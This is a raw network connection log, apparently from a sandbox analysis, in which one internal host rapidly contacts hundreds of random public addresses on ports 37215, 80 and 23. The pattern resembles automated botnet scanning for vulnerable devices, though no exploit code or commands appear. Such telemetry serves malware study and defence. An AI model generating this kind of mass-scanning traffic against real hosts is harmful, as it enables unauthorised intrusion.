Dec 3, 2024 21:47:22.095366001 CET	34043	37215	192.168.2.13	41.8.102.24
Dec 3, 2024 21:47:22.095386028 CET	34043	37215	192.168.2.13	41.172.94.142
Dec 3, 2024 21:47:22.095386028 CET	34043	37215	192.168.2.13	197.141.0.167
Dec 3, 2024 21:47:22.095386028 CET	34043	37215	192.168.2.13	156.97.105.204
Dec 3, 2024 21:47:22.095400095 CET	34043	37215	192.168.2.13	41.206.175.209
Dec 3, 2024 21:47:22.095402002 CET	34043	37215	192.168.2.13	41.114.185.192
Dec 3, 2024 21:47:22.095403910 CET	34043	37215	192.168.2.13	197.183.15.94
Dec 3, 2024 21:47:22.095410109 CET	34043	37215	192.168.2.13	197.174.206.196
Dec 3, 2024 21:47:22.095415115 CET	34043	37215	192.168.2.13	197.59.174.225
Dec 3, 2024 21:47:22.095421076 CET	34043	37215	192.168.2.13	41.16.129.202
Dec 3, 2024 21:47:22.095432043 CET	34043	37215	192.168.2.13	197.211.209.67
Dec 3, 2024 21:47:22.095438957 CET	34043	37215	192.168.2.13	41.19.151.17
Dec 3, 2024 21:47:22.095441103 CET	34043	37215	192.168.2.13	156.231.169.169
Dec 3, 2024 21:47:22.095452070 CET	34043	37215	192.168.2.13	156.197.109.206
Dec 3, 2024 21:47:22.095453978 CET	34043	37215	192.168.2.13	156.102.74.11
Dec 3, 2024 21:47:22.095457077 CET	34043	37215	192.168.2.13	156.205.63.89
Dec 3, 2024 21:47:22.095462084 CET	34043	37215	192.168.2.13	156.111.194.230
Dec 3, 2024 21:47:22.095472097 CET	34043	37215	192.168.2.13	41.58.212.79
Dec 3, 2024 21:47:22.095472097 CET	34043	37215	192.168.2.13	41.129.99.15
Dec 3, 2024 21:47:22.095479965 CET	34043	37215	192.168.2.13	41.169.206.28
Dec 3, 2024 21:47:22.095491886 CET	34043	37215	192.168.2.13	156.14.219.167
Dec 3, 2024 21:47:22.095494032 CET	34043	37215	192.168.2.13	156.38.205.19
Dec 3, 2024 21:47:22.095501900 CET	34043	37215	192.168.2.13	156.188.183.39
Dec 3, 2024 21:47:22.095501900 CET	34043	37215	192.168.2.13	197.121.186.165
Dec 3, 2024 21:47:22.095510006 CET	34043	37215	192.168.2.13	197.45.72.68
Dec 3, 2024 21:47:22.095520020 CET	34043	37215	192.168.2.13	156.110.54.86
Dec 3, 2024 21:47:22.095520973 CET	34043	37215	192.168.2.13	41.151.177.175
Dec 3, 2024 21:47:22.095525026 CET	34043	37215	192.168.2.13	41.33.54.98
Dec 3, 2024 21:47:22.095537901 CET	34043	37215	192.168.2.13	197.5.122.105
Dec 3, 2024 21:47:22.095540047 CET	34043	37215	192.168.2.13	197.72.142.54
Dec 3, 2024 21:47:22.095549107 CET	34043	37215	192.168.2.13	41.44.119.174
Dec 3, 2024 21:47:22.095551968 CET	34043	37215	192.168.2.13	197.140.125.48
Dec 3, 2024 21:47:22.095565081 CET	34043	37215	192.168.2.13	156.216.70.197
Dec 3, 2024 21:47:22.095565081 CET	34043	37215	192.168.2.13	197.24.154.248
Dec 3, 2024 21:47:22.095567942 CET	34043	37215	192.168.2.13	41.232.87.195
Dec 3, 2024 21:47:22.095571995 CET	34043	37215	192.168.2.13	156.148.226.64
Dec 3, 2024 21:47:22.095577002 CET	34043	37215	192.168.2.13	197.251.51.197
Dec 3, 2024 21:47:22.095588923 CET	34043	37215	192.168.2.13	41.253.190.107
Dec 3, 2024 21:47:22.095590115 CET	34043	37215	192.168.2.13	41.199.26.129
Dec 3, 2024 21:47:22.095590115 CET	34043	37215	192.168.2.13	197.97.101.231
Dec 3, 2024 21:47:22.095591068 CET	34043	37215	192.168.2.13	197.7.20.176
Dec 3, 2024 21:47:22.095602989 CET	34043	37215	192.168.2.13	197.170.65.128
Dec 3, 2024 21:47:22.095603943 CET	34043	37215	192.168.2.13	41.254.122.73
Dec 3, 2024 21:47:22.095612049 CET	34043	37215	192.168.2.13	197.105.239.82
Dec 3, 2024 21:47:22.095621109 CET	34043	37215	192.168.2.13	41.53.88.193
Dec 3, 2024 21:47:22.095623970 CET	34043	37215	192.168.2.13	197.14.22.88
Dec 3, 2024 21:47:22.095630884 CET	34043	37215	192.168.2.13	41.144.183.220
Dec 3, 2024 21:47:22.095637083 CET	34043	37215	192.168.2.13	156.39.233.107
Dec 3, 2024 21:47:22.095643997 CET	34043	37215	192.168.2.13	156.29.106.248
Dec 3, 2024 21:47:22.095643997 CET	34043	37215	192.168.2.13	41.37.252.105
Dec 3, 2024 21:47:22.095650911 CET	34043	37215	192.168.2.13	41.50.38.47
Dec 3, 2024 21:47:22.095663071 CET	34043	37215	192.168.2.13	156.125.13.179
Dec 3, 2024 21:47:22.095664978 CET	34043	37215	192.168.2.13	197.212.148.105
Dec 3, 2024 21:47:22.095664978 CET	34043	37215	192.168.2.13	41.209.116.24
Dec 3, 2024 21:47:22.095665932 CET	34043	37215	192.168.2.13	156.210.120.52
Dec 3, 2024 21:47:22.095670938 CET	34043	37215	192.168.2.13	197.211.19.97
Dec 3, 2024 21:47:22.095675945 CET	34043	37215	192.168.2.13	156.232.154.212
Dec 3, 2024 21:47:22.095680952 CET	34043	37215	192.168.2.13	156.0.25.223
Dec 3, 2024 21:47:22.095685959 CET	34043	37215	192.168.2.13	156.203.144.247
Dec 3, 2024 21:47:22.095690012 CET	34043	37215	192.168.2.13	41.229.31.179
Dec 3, 2024 21:47:22.095696926 CET	34043	37215	192.168.2.13	156.97.111.116
Dec 3, 2024 21:47:22.095710039 CET	34043	37215	192.168.2.13	156.41.234.33
Dec 3, 2024 21:47:22.095710993 CET	34043	37215	192.168.2.13	197.239.226.9
Dec 3, 2024 21:47:22.095711946 CET	34043	37215	192.168.2.13	156.52.241.186
Dec 3, 2024 21:47:22.095719099 CET	34043	37215	192.168.2.13	197.173.3.101
Dec 3, 2024 21:47:22.095725060 CET	34043	37215	192.168.2.13	156.176.85.141
Dec 3, 2024 21:47:22.095729113 CET	34043	37215	192.168.2.13	156.43.40.143
Dec 3, 2024 21:47:22.095731020 CET	34043	37215	192.168.2.13	156.3.90.84
Dec 3, 2024 21:47:22.095743895 CET	34043	37215	192.168.2.13	41.152.67.243
Dec 3, 2024 21:47:22.095743895 CET	34043	37215	192.168.2.13	156.137.130.196
Dec 3, 2024 21:47:22.095751047 CET	34043	37215	192.168.2.13	41.239.218.150
Dec 3, 2024 21:47:22.095752954 CET	34043	37215	192.168.2.13	197.78.226.18
Dec 3, 2024 21:47:22.095762968 CET	34043	37215	192.168.2.13	41.204.164.171
Dec 3, 2024 21:47:22.095767021 CET	34043	37215	192.168.2.13	156.3.149.73
Dec 3, 2024 21:47:22.095776081 CET	34043	37215	192.168.2.13	41.239.51.222
Dec 3, 2024 21:47:22.095781088 CET	34043	37215	192.168.2.13	41.199.224.157
Dec 3, 2024 21:47:22.095782042 CET	34043	37215	192.168.2.13	197.155.6.230
Dec 3, 2024 21:47:22.095797062 CET	34043	37215	192.168.2.13	41.165.189.105
Dec 3, 2024 21:47:22.095798969 CET	34043	37215	192.168.2.13	41.125.254.245
Dec 3, 2024 21:47:22.095798969 CET	34043	37215	192.168.2.13	156.236.227.102
Dec 3, 2024 21:47:22.095803976 CET	34043	37215	192.168.2.13	41.111.165.249
Dec 3, 2024 21:47:22.095805883 CET	34043	37215	192.168.2.13	41.135.118.36
Dec 3, 2024 21:47:22.095819950 CET	34043	37215	192.168.2.13	41.181.18.42
Dec 3, 2024 21:47:22.095823050 CET	34043	37215	192.168.2.13	41.112.112.243
Dec 3, 2024 21:47:22.095824003 CET	34043	37215	192.168.2.13	156.240.187.119
Dec 3, 2024 21:47:22.095839024 CET	34043	37215	192.168.2.13	197.92.44.27
Dec 3, 2024 21:47:22.095839977 CET	34043	37215	192.168.2.13	197.168.87.241
Dec 3, 2024 21:47:22.095840931 CET	34043	37215	192.168.2.13	197.194.139.163
Dec 3, 2024 21:47:22.095840931 CET	34043	37215	192.168.2.13	197.26.204.1
Dec 3, 2024 21:47:22.095840931 CET	34043	37215	192.168.2.13	156.8.243.229
Dec 3, 2024 21:47:22.095844030 CET	34043	37215	192.168.2.13	41.6.166.229
Dec 3, 2024 21:47:22.095854044 CET	34043	37215	192.168.2.13	156.134.201.105
Dec 3, 2024 21:47:22.095858097 CET	34043	37215	192.168.2.13	156.103.115.178
Dec 3, 2024 21:47:22.095863104 CET	34043	37215	192.168.2.13	41.75.127.32
Dec 3, 2024 21:47:22.095869064 CET	34043	37215	192.168.2.13	156.232.174.12
Dec 3, 2024 21:47:22.095877886 CET	34043	37215	192.168.2.13	41.23.205.252
Dec 3, 2024 21:47:22.095877886 CET	34043	37215	192.168.2.13	41.193.81.230
Dec 3, 2024 21:47:22.095894098 CET	34043	37215	192.168.2.13	156.95.25.228
Dec 3, 2024 21:47:22.095895052 CET	34043	37215	192.168.2.13	41.35.160.134
Dec 3, 2024 21:47:22.095905066 CET	34043	37215	192.168.2.13	41.231.233.231
Dec 3, 2024 21:47:22.095905066 CET	34043	37215	192.168.2.13	156.111.37.217
Dec 3, 2024 21:47:22.095911980 CET	34043	37215	192.168.2.13	197.65.48.91
Dec 3, 2024 21:47:22.095916033 CET	34043	37215	192.168.2.13	197.145.110.31
Dec 3, 2024 21:47:22.095928907 CET	34043	37215	192.168.2.13	156.120.28.239
Dec 3, 2024 21:47:22.095930099 CET	34043	37215	192.168.2.13	41.171.90.158
Dec 3, 2024 21:47:22.095936060 CET	34043	37215	192.168.2.13	197.35.204.217
Dec 3, 2024 21:47:22.095937014 CET	34043	37215	192.168.2.13	156.211.240.200
Dec 3, 2024 21:47:22.095947027 CET	34043	37215	192.168.2.13	197.129.179.174
Dec 3, 2024 21:47:22.095951080 CET	34043	37215	192.168.2.13	197.52.228.87
Dec 3, 2024 21:47:22.095952034 CET	34043	37215	192.168.2.13	41.216.11.26
Dec 3, 2024 21:47:22.095964909 CET	34043	37215	192.168.2.13	156.170.53.73
Dec 3, 2024 21:47:22.095966101 CET	34043	37215	192.168.2.13	197.175.193.228
Dec 3, 2024 21:47:22.095973015 CET	34043	37215	192.168.2.13	41.151.104.107
Dec 3, 2024 21:47:22.095978022 CET	34043	37215	192.168.2.13	197.203.154.152
Dec 3, 2024 21:47:22.095988989 CET	34043	37215	192.168.2.13	156.162.117.63
Dec 3, 2024 21:47:22.095990896 CET	34043	37215	192.168.2.13	156.71.209.131
Dec 3, 2024 21:47:22.095993996 CET	34043	37215	192.168.2.13	41.170.66.141
Dec 3, 2024 21:47:22.096005917 CET	34043	37215	192.168.2.13	197.244.240.231
Dec 3, 2024 21:47:22.096009016 CET	34043	37215	192.168.2.13	41.180.191.41
Dec 3, 2024 21:47:22.096013069 CET	34043	37215	192.168.2.13	41.139.80.120
Dec 3, 2024 21:47:22.096028090 CET	34043	37215	192.168.2.13	156.179.247.153
Dec 3, 2024 21:47:22.096029997 CET	34043	37215	192.168.2.13	197.243.206.194
Dec 3, 2024 21:47:22.096029997 CET	34043	37215	192.168.2.13	197.29.68.12
Dec 3, 2024 21:47:22.096041918 CET	34043	37215	192.168.2.13	41.90.212.182
Dec 3, 2024 21:47:22.096046925 CET	34043	37215	192.168.2.13	41.173.91.145
Dec 3, 2024 21:47:22.096051931 CET	34043	37215	192.168.2.13	197.21.117.220
Dec 3, 2024 21:47:22.096054077 CET	34043	37215	192.168.2.13	197.176.209.176
Dec 3, 2024 21:47:22.096060991 CET	34043	37215	192.168.2.13	156.156.99.185
Dec 3, 2024 21:47:22.096069098 CET	34043	37215	192.168.2.13	197.208.77.105
Dec 3, 2024 21:47:22.096071005 CET	34043	37215	192.168.2.13	156.111.96.201
Dec 3, 2024 21:47:22.096084118 CET	34043	37215	192.168.2.13	41.12.143.133
Dec 3, 2024 21:47:22.096086025 CET	34043	37215	192.168.2.13	41.162.14.149
Dec 3, 2024 21:47:22.100606918 CET	39834	37215	192.168.2.13	156.22.92.200
Dec 3, 2024 21:47:22.100610018 CET	42302	80	192.168.2.13	34.80.169.205
Dec 3, 2024 21:47:22.100615978 CET	34238	37215	192.168.2.13	156.157.158.180
Dec 3, 2024 21:47:22.100620031 CET	36486	80	192.168.2.13	151.181.255.214
Dec 3, 2024 21:47:22.100620985 CET	49192	80	192.168.2.13	109.236.91.99
Dec 3, 2024 21:47:22.100620031 CET	37524	80	192.168.2.13	203.54.58.77
Dec 3, 2024 21:47:22.100620031 CET	43846	80	192.168.2.13	171.3.155.144
Dec 3, 2024 21:47:22.100620985 CET	36828	80	192.168.2.13	57.3.184.193
Dec 3, 2024 21:47:22.100625992 CET	36832	80	192.168.2.13	179.185.179.154
Dec 3, 2024 21:47:22.100625992 CET	41594	80	192.168.2.13	218.66.19.119
Dec 3, 2024 21:47:22.100636005 CET	57392	80	192.168.2.13	106.130.195.250
Dec 3, 2024 21:47:22.100641012 CET	35762	80	192.168.2.13	222.59.174.148
Dec 3, 2024 21:47:22.100644112 CET	35502	80	192.168.2.13	27.246.121.87
Dec 3, 2024 21:47:22.100651979 CET	42012	80	192.168.2.13	218.206.104.216
Dec 3, 2024 21:47:22.100655079 CET	56460	80	192.168.2.13	25.138.115.52
Dec 3, 2024 21:47:22.100665092 CET	60298	80	192.168.2.13	164.75.9.148
Dec 3, 2024 21:47:22.100667000 CET	56588	80	192.168.2.13	104.62.170.28
Dec 3, 2024 21:47:22.100694895 CET	51890	80	192.168.2.13	59.159.83.178
Dec 3, 2024 21:47:22.100694895 CET	49114	80	192.168.2.13	69.120.229.5
Dec 3, 2024 21:47:22.100694895 CET	38142	80	192.168.2.13	156.90.10.206
Dec 3, 2024 21:47:22.100694895 CET	38992	80	192.168.2.13	122.251.247.179
Dec 3, 2024 21:47:22.100694895 CET	47306	80	192.168.2.13	38.77.138.239
Dec 3, 2024 21:47:22.100701094 CET	44862	80	192.168.2.13	138.235.115.9
Dec 3, 2024 21:47:22.100701094 CET	50066	80	192.168.2.13	103.90.32.150
Dec 3, 2024 21:47:22.100701094 CET	51586	80	192.168.2.13	44.50.132.189
Dec 3, 2024 21:47:22.100704908 CET	47762	80	192.168.2.13	19.56.239.20
Dec 3, 2024 21:47:22.100704908 CET	46424	80	192.168.2.13	103.205.158.231
Dec 3, 2024 21:47:22.100704908 CET	52808	80	192.168.2.13	95.90.150.78
Dec 3, 2024 21:47:22.100704908 CET	51320	80	192.168.2.13	23.174.237.99
Dec 3, 2024 21:47:22.100704908 CET	41282	80	192.168.2.13	153.226.117.52
Dec 3, 2024 21:47:22.100704908 CET	35366	80	192.168.2.13	160.221.57.203
Dec 3, 2024 21:47:22.100709915 CET	44196	80	192.168.2.13	12.237.96.134
Dec 3, 2024 21:47:22.100709915 CET	56326	80	192.168.2.13	88.81.241.62
Dec 3, 2024 21:47:22.100712061 CET	51682	80	192.168.2.13	159.11.151.174
Dec 3, 2024 21:47:22.100716114 CET	42822	80	192.168.2.13	196.78.141.7
Dec 3, 2024 21:47:22.100722075 CET	37936	23	192.168.2.13	132.105.120.87
Dec 3, 2024 21:47:22.100728035 CET	41048	80	192.168.2.13	196.219.121.6
Dec 3, 2024 21:47:22.100733042 CET	46144	80	192.168.2.13	179.117.25.20
Dec 3, 2024 21:47:22.100739002 CET	48918	23	192.168.2.13	154.145.46.122
Dec 3, 2024 21:47:22.100744009 CET	33000	80	192.168.2.13	62.158.162.7
Dec 3, 2024 21:47:22.100748062 CET	51350	80	192.168.2.13	200.178.165.62
Dec 3, 2024 21:47:22.132656097 CET	36192	80	192.168.2.13	92.165.190.29
Dec 3, 2024 21:47:22.132668018 CET	34402	80	192.168.2.13	199.178.250.130
Dec 3, 2024 21:47:22.132685900 CET	59230	80	192.168.2.13	91.125.18.79
Dec 3, 2024 21:47:22.132688046 CET	46662	80	192.168.2.13	106.4.74.96
Dec 3, 2024 21:47:22.132694006 CET	47884	80	192.168.2.13	194.185.115.18
Dec 3, 2024 21:47:22.132685900 CET	40924	80	192.168.2.13	223.27.214.189
Dec 3, 2024 21:47:22.132708073 CET	42684	80	192.168.2.13	27.52.117.91
Dec 3, 2024 21:47:22.132715940 CET	42390	80	192.168.2.13	203.111.30.129
Dec 3, 2024 21:47:22.132721901 CET	50114	80	192.168.2.13	201.56.167.250
Dec 3, 2024 21:47:22.132721901 CET	49554	80	192.168.2.13	186.14.24.52
Dec 3, 2024 21:47:22.132721901 CET	57622	80	192.168.2.13	63.137.121.204
Dec 3, 2024 21:47:22.132731915 CET	41906	80	192.168.2.13	207.71.183.182
Dec 3, 2024 21:47:22.132735014 CET	51330	80	192.168.2.13	219.23.233.148
Dec 3, 2024 21:47:22.132747889 CET	55756	80	192.168.2.13	136.104.44.43
Dec 3, 2024 21:47:22.132752895 CET	52844	80	192.168.2.13	60.43.110.158
Dec 3, 2024 21:47:22.132755995 CET	35292	80	192.168.2.13	102.147.224.252
Dec 3, 2024 21:47:22.132760048 CET	59796	80	192.168.2.13	66.188.77.113
Dec 3, 2024 21:47:22.132769108 CET	34392	80	192.168.2.13	49.126.64.179
Dec 3, 2024 21:47:22.132769108 CET	49612	80	192.168.2.13	181.220.210.118
Dec 3, 2024 21:47:22.132776022 CET	57028	80	192.168.2.13	182.1.122.176
Dec 3, 2024 21:47:22.132776022 CET	48738	80	192.168.2.13	174.0.32.205
Dec 3, 2024 21:47:22.132776022 CET	51010	80	192.168.2.13	83.11.76.171
Dec 3, 2024 21:47:22.132796049 CET	35812	80	192.168.2.13	216.217.165.253
Dec 3, 2024 21:47:22.132797956 CET	58760	80	192.168.2.13	113.18.111.251
Dec 3, 2024 21:47:22.132797003 CET	50666	80	192.168.2.13	47.124.83.25
Dec 3, 2024 21:47:22.132807970 CET	40590	80	192.168.2.13	18.239.135.55
Dec 3, 2024 21:47:22.132811069 CET	48124	80	192.168.2.13	173.99.172.238
Dec 3, 2024 21:47:22.132822037 CET	50372	80	192.168.2.13	49.136.121.133
Dec 3, 2024 21:47:22.132823944 CET	39226	80	192.168.2.13	190.171.181.209
Dec 3, 2024 21:47:22.189443111 CET	80	38200	87.2.29.201	192.168.2.13
Dec 3, 2024 21:47:22.189481974 CET	80	32908	84.115.17.222	192.168.2.13
Dec 3, 2024 21:47:22.189505100 CET	80	49640	217.9.92.75	192.168.2.13
Dec 3, 2024 21:47:22.189517021 CET	80	51636	151.199.164.101	192.168.2.13
Dec 3, 2024 21:47:22.189532042 CET	80	58998	206.17.226.29	192.168.2.13
Dec 3, 2024 21:47:22.189538002 CET	80	40994	187.198.156.166	192.168.2.13
Dec 3, 2024 21:47:22.189558029 CET	80	36782	49.175.230.209	192.168.2.13
Dec 3, 2024 21:47:22.189568043 CET	38200	80	192.168.2.13	87.2.29.201
Dec 3, 2024 21:47:22.189579010 CET	51636	80	192.168.2.13	151.199.164.101
Dec 3, 2024 21:47:22.189585924 CET	58998	80	192.168.2.13	206.17.226.29
Dec 3, 2024 21:47:22.189594984 CET	80	46660	167.129.209.249	192.168.2.13
Dec 3, 2024 21:47:22.189596891 CET	36782	80	192.168.2.13	49.175.230.209
Dec 3, 2024 21:47:22.189603090 CET	32908	80	192.168.2.13	84.115.17.222
Dec 3, 2024 21:47:22.189605951 CET	80	43924	165.66.103.50	192.168.2.13
Dec 3, 2024 21:47:22.189603090 CET	49640	80	192.168.2.13	217.9.92.75
Dec 3, 2024 21:47:22.189615011 CET	80	50012	14.244.19.249	192.168.2.13
Dec 3, 2024 21:47:22.189621925 CET	40994	80	192.168.2.13	187.198.156.166
Dec 3, 2024 21:47:22.189630985 CET	43924	80	192.168.2.13	165.66.103.50
Dec 3, 2024 21:47:22.189634085 CET	46660	80	192.168.2.13	167.129.209.249
Dec 3, 2024 21:47:22.189645052 CET	80	53878	89.9.140.26	192.168.2.13
Dec 3, 2024 21:47:22.189650059 CET	50012	80	192.168.2.13	14.244.19.249
Dec 3, 2024 21:47:22.189667940 CET	80	57134	135.22.204.152	192.168.2.13
Dec 3, 2024 21:47:22.189676046 CET	53878	80	192.168.2.13	89.9.140.26
Dec 3, 2024 21:47:22.189685106 CET	80	49652	87.46.134.230	192.168.2.13
Dec 3, 2024 21:47:22.189697981 CET	80	52804	208.91.209.54	192.168.2.13
Dec 3, 2024 21:47:22.189717054 CET	57134	80	192.168.2.13	135.22.204.152
Dec 3, 2024 21:47:22.189723969 CET	49652	80	192.168.2.13	87.46.134.230
Dec 3, 2024 21:47:22.189728022 CET	52804	80	192.168.2.13	208.91.209.54
Dec 3, 2024 21:47:22.189834118 CET	39419	80	192.168.2.13	153.34.197.25
Dec 3, 2024 21:47:22.189840078 CET	39419	80	192.168.2.13	67.29.205.123
Dec 3, 2024 21:47:22.189843893 CET	39419	80	192.168.2.13	34.130.229.114
Dec 3, 2024 21:47:22.189856052 CET	39419	80	192.168.2.13	166.93.74.106
Dec 3, 2024 21:47:22.189858913 CET	39419	80	192.168.2.13	197.132.25.178
Dec 3, 2024 21:47:22.189870119 CET	39419	80	192.168.2.13	115.224.140.83
Dec 3, 2024 21:47:22.189872026 CET	39419	80	192.168.2.13	194.47.94.45
Dec 3, 2024 21:47:22.189883947 CET	39419	80	192.168.2.13	114.206.151.207
Dec 3, 2024 21:47:22.189888954 CET	80	56618	128.218.148.72	192.168.2.13
Dec 3, 2024 21:47:22.189891100 CET	39419	80	192.168.2.13	57.147.4.202
Dec 3, 2024 21:47:22.189903021 CET	39419	80	192.168.2.13	131.23.40.246
Dec 3, 2024 21:47:22.189912081 CET	39419	80	192.168.2.13	8.79.16.236
Dec 3, 2024 21:47:22.189918041 CET	80	36910	116.147.27.49	192.168.2.13
Dec 3, 2024 21:47:22.189927101 CET	56618	80	192.168.2.13	128.218.148.72
Dec 3, 2024 21:47:22.189938068 CET	39419	80	192.168.2.13	120.102.59.46
Dec 3, 2024 21:47:22.189946890 CET	36910	80	192.168.2.13	116.147.27.49
Dec 3, 2024 21:47:22.189959049 CET	39419	80	192.168.2.13	146.162.231.226
Dec 3, 2024 21:47:22.189964056 CET	39419	80	192.168.2.13	143.206.170.191
Dec 3, 2024 21:47:22.189968109 CET	80	33126	39.103.0.196	192.168.2.13
Dec 3, 2024 21:47:22.189979076 CET	39419	80	192.168.2.13	203.117.169.205
Dec 3, 2024 21:47:22.189980984 CET	80	51386	219.115.34.124	192.168.2.13
Dec 3, 2024 21:47:22.189992905 CET	39419	80	192.168.2.13	14.75.58.207
Dec 3, 2024 21:47:22.189995050 CET	39419	80	192.168.2.13	67.241.211.157
Dec 3, 2024 21:47:22.190001965 CET	80	37870	94.2.223.202	192.168.2.13
Dec 3, 2024 21:47:22.190006971 CET	51386	80	192.168.2.13	219.115.34.124
Dec 3, 2024 21:47:22.190007925 CET	33126	80	192.168.2.13	39.103.0.196
Dec 3, 2024 21:47:22.190017939 CET	80	55974	101.1.73.203	192.168.2.13
Dec 3, 2024 21:47:22.190022945 CET	39419	80	192.168.2.13	68.232.242.8
Dec 3, 2024 21:47:22.190036058 CET	37870	80	192.168.2.13	94.2.223.202
Dec 3, 2024 21:47:22.190045118 CET	55974	80	192.168.2.13	101.1.73.203
Dec 3, 2024 21:47:22.190061092 CET	39419	80	192.168.2.13	170.74.196.172
Dec 3, 2024 21:47:22.190062046 CET	39419	80	192.168.2.13	213.116.54.216
Dec 3, 2024 21:47:22.190076113 CET	39419	80	192.168.2.13	37.232.54.203
Dec 3, 2024 21:47:22.190092087 CET	39419	80	192.168.2.13	192.62.5.202
Dec 3, 2024 21:47:22.190093040 CET	39419	80	192.168.2.13	184.196.143.123
Dec 3, 2024 21:47:22.190099001 CET	39419	80	192.168.2.13	49.99.105.40
Dec 3, 2024 21:47:22.190105915 CET	39419	80	192.168.2.13	188.203.251.9
Dec 3, 2024 21:47:22.190114021 CET	39419	80	192.168.2.13	34.185.151.234
Dec 3, 2024 21:47:22.190123081 CET	39419	80	192.168.2.13	145.156.128.22
Dec 3, 2024 21:47:22.190126896 CET	39419	80	192.168.2.13	45.218.123.248
Dec 3, 2024 21:47:22.190136909 CET	39419	80	192.168.2.13	44.158.189.212
Dec 3, 2024 21:47:22.190150023 CET	39419	80	192.168.2.13	81.175.108.168
Dec 3, 2024 21:47:22.190152884 CET	39419	80	192.168.2.13	61.237.72.22
Dec 3, 2024 21:47:22.190161943 CET	39419	80	192.168.2.13	156.87.130.144
Dec 3, 2024 21:47:22.190164089 CET	39419	80	192.168.2.13	34.199.64.145
Dec 3, 2024 21:47:22.190181971 CET	39419	80	192.168.2.13	96.28.72.51
Dec 3, 2024 21:47:22.190184116 CET	39419	80	192.168.2.13	119.81.0.65
Dec 3, 2024 21:47:22.190184116 CET	39419	80	192.168.2.13	156.167.241.209
Dec 3, 2024 21:47:22.190196991 CET	39419	80	192.168.2.13	96.25.93.209
Dec 3, 2024 21:47:22.190198898 CET	39419	80	192.168.2.13	151.44.60.196
Dec 3, 2024 21:47:22.190218925 CET	39419	80	192.168.2.13	131.63.75.114
Dec 3, 2024 21:47:22.190218925 CET	39419	80	192.168.2.13	77.34.130.204
Dec 3, 2024 21:47:22.190232038 CET	39419	80	192.168.2.13	79.106.181.170
Dec 3, 2024 21:47:22.190237045 CET	39419	80	192.168.2.13	202.155.2.241
Dec 3, 2024 21:47:22.190253973 CET	39419	80	192.168.2.13	199.74.179.226
Dec 3, 2024 21:47:22.190258026 CET	39419	80	192.168.2.13	196.61.181.31
Dec 3, 2024 21:47:22.190268993 CET	39419	80	192.168.2.13	4.7.171.145
Dec 3, 2024 21:47:22.190277100 CET	39419	80	192.168.2.13	217.76.221.252
Dec 3, 2024 21:47:22.190287113 CET	39419	80	192.168.2.13	164.9.193.23
Dec 3, 2024 21:47:22.190289974 CET	39419	80	192.168.2.13	208.54.140.203
Dec 3, 2024 21:47:22.190300941 CET	39419	80	192.168.2.13	122.60.181.215
Dec 3, 2024 21:47:22.190313101 CET	39419	80	192.168.2.13	195.64.64.168
Dec 3, 2024 21:47:22.190316916 CET	39419	80	192.168.2.13	37.220.181.42
Dec 3, 2024 21:47:22.190324068 CET	39419	80	192.168.2.13	50.193.41.187
Dec 3, 2024 21:47:22.190334082 CET	39419	80	192.168.2.13	91.184.54.163
Dec 3, 2024 21:47:22.190336943 CET	39419	80	192.168.2.13	212.239.80.0
Dec 3, 2024 21:47:22.190351009 CET	39419	80	192.168.2.13	184.110.11.226
Dec 3, 2024 21:47:22.190354109 CET	39419	80	192.168.2.13	183.41.254.188
Dec 3, 2024 21:47:22.190368891 CET	39419	80	192.168.2.13	197.51.75.190
Dec 3, 2024 21:47:22.190372944 CET	39419	80	192.168.2.13	125.59.236.18
Dec 3, 2024 21:47:22.190381050 CET	39419	80	192.168.2.13	174.97.140.241
Dec 3, 2024 21:47:22.190391064 CET	39419	80	192.168.2.13	195.63.246.58
Dec 3, 2024 21:47:22.190401077 CET	39419	80	192.168.2.13	201.201.134.170
Dec 3, 2024 21:47:22.190409899 CET	39419	80	192.168.2.13	131.215.250.254
Dec 3, 2024 21:47:22.190409899 CET	39419	80	192.168.2.13	143.148.90.240
Dec 3, 2024 21:47:22.190426111 CET	39419	80	192.168.2.13	100.14.13.92
Dec 3, 2024 21:47:22.190437078 CET	39419	80	192.168.2.13	168.82.250.244
Dec 3, 2024 21:47:22.190450907 CET	39419	80	192.168.2.13	163.249.50.66
Dec 3, 2024 21:47:22.190453053 CET	39419	80	192.168.2.13	83.81.92.36
Dec 3, 2024 21:47:22.190468073 CET	39419	80	192.168.2.13	132.237.126.45
Dec 3, 2024 21:47:22.190469980 CET	39419	80	192.168.2.13	120.227.211.64
Dec 3, 2024 21:47:22.190478086 CET	39419	80	192.168.2.13	164.77.146.6
Dec 3, 2024 21:47:22.190485001 CET	39419	80	192.168.2.13	82.87.67.139
Dec 3, 2024 21:47:22.190488100 CET	39419	80	192.168.2.13	141.76.40.43
Dec 3, 2024 21:47:22.190505028 CET	39419	80	192.168.2.13	131.34.194.222
Dec 3, 2024 21:47:22.190505981 CET	39419	80	192.168.2.13	175.130.49.238
Dec 3, 2024 21:47:22.190520048 CET	39419	80	192.168.2.13	114.22.241.14
Dec 3, 2024 21:47:22.190521955 CET	39419	80	192.168.2.13	64.6.100.76
Dec 3, 2024 21:47:22.190536976 CET	39419	80	192.168.2.13	1.15.232.24
Dec 3, 2024 21:47:22.190543890 CET	39419	80	192.168.2.13	105.7.2.224
Dec 3, 2024 21:47:22.190557003 CET	39419	80	192.168.2.13	89.39.130.163
Dec 3, 2024 21:47:22.190557003 CET	39419	80	192.168.2.13	114.115.113.246
Dec 3, 2024 21:47:22.190573931 CET	39419	80	192.168.2.13	78.248.108.110
Dec 3, 2024 21:47:22.190579891 CET	39419	80	192.168.2.13	66.67.245.168
Dec 3, 2024 21:47:22.190592051 CET	39419	80	192.168.2.13	219.194.198.54
Dec 3, 2024 21:47:22.190601110 CET	39419	80	192.168.2.13	184.96.169.4
Dec 3, 2024 21:47:22.190601110 CET	39419	80	192.168.2.13	120.129.210.91
Dec 3, 2024 21:47:22.190613985 CET	39419	80	192.168.2.13	176.160.214.221
Dec 3, 2024 21:47:22.190614939 CET	39419	80	192.168.2.13	131.208.243.18
Dec 3, 2024 21:47:22.190632105 CET	39419	80	192.168.2.13	204.40.181.69
Dec 3, 2024 21:47:22.190633059 CET	39419	80	192.168.2.13	19.151.196.62
Dec 3, 2024 21:47:22.190639019 CET	39419	80	192.168.2.13	40.232.121.137
Dec 3, 2024 21:47:22.190649986 CET	39419	80	192.168.2.13	157.155.155.216
Dec 3, 2024 21:47:22.190649986 CET	39419	80	192.168.2.13	187.192.44.201
Dec 3, 2024 21:47:22.190665007 CET	39419	80	192.168.2.13	62.3.120.253
Dec 3, 2024 21:47:22.190666914 CET	39419	80	192.168.2.13	143.237.167.99
Dec 3, 2024 21:47:22.190681934 CET	39419	80	192.168.2.13	154.240.28.141
